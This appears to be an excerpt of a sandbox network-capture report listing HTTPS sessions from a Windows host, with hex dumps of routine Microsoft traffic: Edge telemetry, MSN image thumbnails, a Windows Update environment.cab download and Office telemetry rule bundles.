2024-11-25 11:09:03 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532939939&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9617 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; msnup=
2024-11-25 11:09:03 UTC	9617	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 31 3a 30 38 3a 35 39 2e 39 33 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 65 33 34 31 37 33 62 2d 66 65 39 36 2d 34 34 32 39 2d 39 36 61 30 2d 32 62 64 30 39 38 37 39 30 66 34 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 30 33 37 31 34 35 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-25T11:08:59.938Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"de34173b-fe96-4429-96a0-2bd098790f4d","epoch":"1503714553"},"app":{"loc
2024-11-25 11:09:03 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a56e1ab410c74ae08f7b90831375c8c9&HASH=a56e&LV=202411&V=4&LU=1732532943304; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 11:09:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=40c83cb80bab4015869b938f9469bab6; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 11:39:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3365 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 11:09:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49836	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:07 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:09:07 UTC	547	IN	HTTP/1.1 200 OK Last-Modified: Sat, 16 Nov 2024 01:10:29 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=318997 Expires: Fri, 29 Nov 2024 03:45:44 GMT Date: Mon, 25 Nov 2024 11:09:07 GMT Connection: close
2024-11-25 11:09:07 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49837	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:08 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:09:09 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=219728 Expires: Thu, 28 Nov 2024 00:11:17 GMT Date: Mon, 25 Nov 2024 11:09:09 GMT Connection: close
2024-11-25 11:09:09 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49838	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:10 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:09:11 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=364570 Expires: Fri, 29 Nov 2024 16:25:20 GMT Date: Mon, 25 Nov 2024 11:09:10 GMT Connection: close
2024-11-25 11:09:11 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49839	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:11 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZHYzBU9XXRw5tHv&MD=5C6y4ED8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 11:09:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: cf82a8dd-7770-4044-aa4e-1825eadf6334 MS-RequestId: 9703daf4-4980-49eb-92f2-bdaf58fbb3bc MS-CV: AbQrTqujfECSDIfl.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 11:09:11 GMT Connection: close Content-Length: 30005
2024-11-25 11:09:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-25 11:09:12 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49840	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:12 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:09:12 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=71975 Expires: Tue, 26 Nov 2024 07:08:47 GMT Date: Mon, 25 Nov 2024 11:09:12 GMT Connection: close
2024-11-25 11:09:12 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49841	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:14 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:09:14 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=329297 Expires: Fri, 29 Nov 2024 06:37:31 GMT Date: Mon, 25 Nov 2024 11:09:14 GMT Connection: close
2024-11-25 11:09:14 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:27 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:27 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:27 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110927Z-178bfbc474bpnd5vhC1NYC4vr400000007b0000000007c9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:27 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 11:09:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 11:09:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 11:09:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
